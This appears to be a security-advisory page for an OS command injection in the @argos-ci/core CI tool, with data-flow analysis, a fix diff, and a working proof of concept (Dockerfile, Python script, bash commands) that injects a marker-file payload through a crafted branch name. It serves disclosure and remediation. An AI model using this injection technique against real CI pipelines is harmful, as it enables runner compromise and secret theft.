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@argos-ci/core CVE-2026-59960

| EUVDEUVD-2026-77641 HIGH
OS Command Injection (CWE-78)
2026-09-10 https://github.com/argos-ci/argos-javascript GHSA-4x45-gxvp-6283
7.5
CVSS 3.1 · Vendor: https://github.com/argos-ci/argos-javascript
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Severity by source

Vendor (https://github.com/argos-ci/argos-javascript) PRIMARY
7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
7.5 HIGH

AC:H reflects hasRemoteContentAccess:false prerequisite; PR:L captures fork-PR account requirement; full C/I/A on CI runner; no scope change.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/argos-ci/argos-javascript).

CVSS VectorVendor: https://github.com/argos-ci/argos-javascript

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
POC Analysis Generated
Sep 10, 2026 - 23:20 vuln.today
Source Code Evidence Fetched
Sep 10, 2026 - 23:17 vuln.today
Analysis Generated
Sep 10, 2026 - 23:17 vuln.today
CVE Published
Sep 10, 2026 - 22:34 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 npm packages depend on @argos-ci/core (4 direct, 0 indirect)

Ecosystem-wide dependent count for version 6.2.1.

DescriptionCVE.org

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

ts
function gitFetch(input: { ref: string; depth: number; target: string }) {
  execSync(
    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
  );
}

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

ts
execSync(`git merge-base ${input.head} ${input.base}`)

Complete data flow (source → sink):

  1. packages/core/src/ci-environment/services/github-actions.ts:104 - reads env.GITHUB_HEAD_REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165 - returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330 - stores the value as branch.
  4. packages/core/src/config.ts:119-123 - loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285 - calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123 - passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89 - sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation - replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

diff
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";

 function gitFetch(input: { ref: string; depth: number; target: string }) {
-  execSync(
-    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
-  );
+  execFileSync("git", [
+    "fetch", "--force", "--update-head-ok",
+    "--depth", String(input.depth),
+    "origin", `${input.ref}:${input.target}`,
+  ]);
 }

 function gitMergeBase(input: { base: string; head: string }) {
-  return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+  return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
 }

PoC

Prerequisites:

  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.

Step 1 - Build the Docker image:

bash
docker build -t argos-vuln-001 \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/reports/npmAI_634_argos-ci__argos-javascript/

The Dockerfile:

  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.

Step 2 - Run the container:

bash
docker run --rm argos-vuln-001

What the PoC (poc.py) does:

  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
  • $(...) is shell command substitution.
  • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  1. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  2. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================

The marker file is created *before* git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

bash
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
  if (req.url === '/v2/project') {
    res.writeHead(200, {'content-type':'application/json'});
    res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
    return;
  }
  res.writeHead(200, {'content-type':'application/json'});
  res.end('{}');
}).listen(7777);
" &

mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true

test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos - for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable - can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile
dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update && \
    apt-get install -y --no-install-recommends git python3 && \
    rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && \
    git config --global user.name "PoC Test" && \
    git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
    cd /git-workspace && \
    git remote add origin /remote.git && \
    echo "initial" > README.md && \
    git add README.md && \
    git commit -m "Initial commit" && \
    git branch -M main && \
    git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace

ENTRYPOINT ["python3", "/poc.py"]
poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0

Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal.  Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.

Attack chain (source -> sink):
  env.GITHUB_HEAD_REF / ARGOS_BRANCH
    -> config.ts:119-122 (String cast, no sanitisation)
    -> upload.ts:285   getMergeBaseCommitSha({ head: config.branch })
    -> git.ts:123      gitFetch({ ref: input.head, ... })
    -> git.ts:89       execSync(`git fetch ... origin ${input.ref}:${input.target}`)
                       ^^^^^^^^ shell injection sink

This script:
  1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
     for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
  2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
     containing a $() command substitution.
  3. Checks for a filesystem artefact that proves execution.
"""

import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK_PORT = 7777


class MockArgosAPI(BaseHTTPRequestHandler):
    """Minimal mock of the Argos REST API.

    Only two responses matter:
    - GET  /v2/project -- must return hasRemoteContentAccess=false to trigger
                          the git-based merge-base discovery code-path.
    - POST /v2/builds  -- needs to return a recognisable structure so the SDK
                          does not abort before we can observe the side-effect.
    """

    def log_message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
        pass

    def _send_json(self, status: int, body: dict) -> None:
        raw = json.dumps(body).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def do_GET(self):
        if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API.  This is the key to reaching the sink.
            self._send_json(200, {
                "id": "proj-1",
                "defaultBaseBranch": "main",
                "hasRemoteContentAccess": False,
            })
        else:
            self._send_json(200, {})

    def do_POST(self):
# Drain request body to keep the connection clean.
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
            self._send_json(201, {
                "id": "build-1",
                "url": "http://localhost/build/1",
                "screenshots": [],
                "pwTraces": [],
            })
        else:
            self._send_json(200, {})

    def do_PUT(self):
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        self._send_json(200, {})


def start_mock_server() -> HTTPServer:
    server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main():
    print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
    print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
    print()
# Remove any stale marker from a previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)
# Start the mock Argos API.
    server = start_mock_server()
    print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
# Build the malicious branch name.
# Breakdown:
#   main              -- valid branch prefix so git ref looks plausible
#   $(...)            -- shell command substitution, evaluated by /bin/sh
#   touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
#                        filters and forming "touch <path>"
    malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
    print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
    print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
    print()
# Empty upload directory -- no real screenshots needed.  The injection
# occurs during merge-base discovery before any upload loop runs.
    upload_dir = "/tmp/argos-empty-upload"
    os.makedirs(upload_dir, exist_ok=True)

    env = dict(os.environ)
    env.update({
        "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
        "ARGOS_TOKEN": "a" * 40,
        "ARGOS_COMMIT": "0" * 40,
        "ARGOS_BRANCH": malicious_branch,
# Disable update-notifier noise inside the CLI.
        "NO_UPDATE_NOTIFIER": "1",
    })

    print("[*] Running: argos upload <empty-dir> --files '*.png'")
    result = subprocess.run(
        ["argos", "upload", upload_dir, "--files", "*.png"],
        env=env,
        capture_output=True,
        text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context.  /git-workspace is prepared in the
# Dockerfile for this purpose.
        cwd="/git-workspace",
    )

    print(f"[*] CLI exit code : {result.returncode}")
    if result.stdout.strip():
        print(f"[*] CLI stdout    : {result.stdout.strip()[:600]}")
    if result.stderr.strip():
        print(f"[*] CLI stderr    : {result.stderr.strip()[:600]}")

    server.shutdown()
    print()
# --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("=" * 60)
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"[PASS] Marker file exists: {MARKER_FILE}")
        print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
        print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
        print("=" * 60)
        sys.exit(0)
    else:
        print("=" * 60)
        print("[FAIL] Marker file not found -- injection did not trigger.")
        print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
        print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
        print("=" * 60)
        sys.exit(1)


if __name__ == "__main__":
    main()

AnalysisAI

OS command injection in @argos-ci/core <=6.2.0 allows any attacker who can influence a CI pipeline's branch or ref name to execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. The vulnerable sink is in packages/core/src/ci-environment/git.ts:89, where execSync() receives an unsanitized branch string interpolated into a template literal passed directly to /bin/sh -c, which evaluates $() command substitution and other metacharacters before spawning git. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

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Vulnerability AssessmentAI

Exploitation Exploitation requires three concrete conditions: (1) the target CI pipeline uses @argos-ci/core <=6.2.0 or @argos-ci/cli that depends on it; (2) the Argos project is configured with hasRemoteContentAccess: false, which is the default for projects that have not connected a Git provider integration - this is NOT a rare or hardened configuration; and (3) the attacker can influence the branch or ref name that reaches the CLI, for example by opening a pull request with a crafted branch name (GITHUB_HEAD_REF), by setting the ARGOS_BRANCH environment variable if CI environment variables are attacker-influenced, or by controlling any upstream source that populates config.branch. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H is well-calibrated: AC:H reflects the hasRemoteContentAccess: false prerequisite, though this is the default for a significant fraction of Argos users, making the effective attack population larger than AC:H alone suggests. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade @argos-ci/core to version 6.2.1 or later, confirmed fixed in commit 8355f3af3be3f4fe361d58a688d21535cf672717 (https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717) and released at https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/core@6.2.1. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: audit all CI pipelines and repositories using @argos-ci/core to identify installed versions in package.json and lock files, and determine which projects use the default (vulnerable) configuration. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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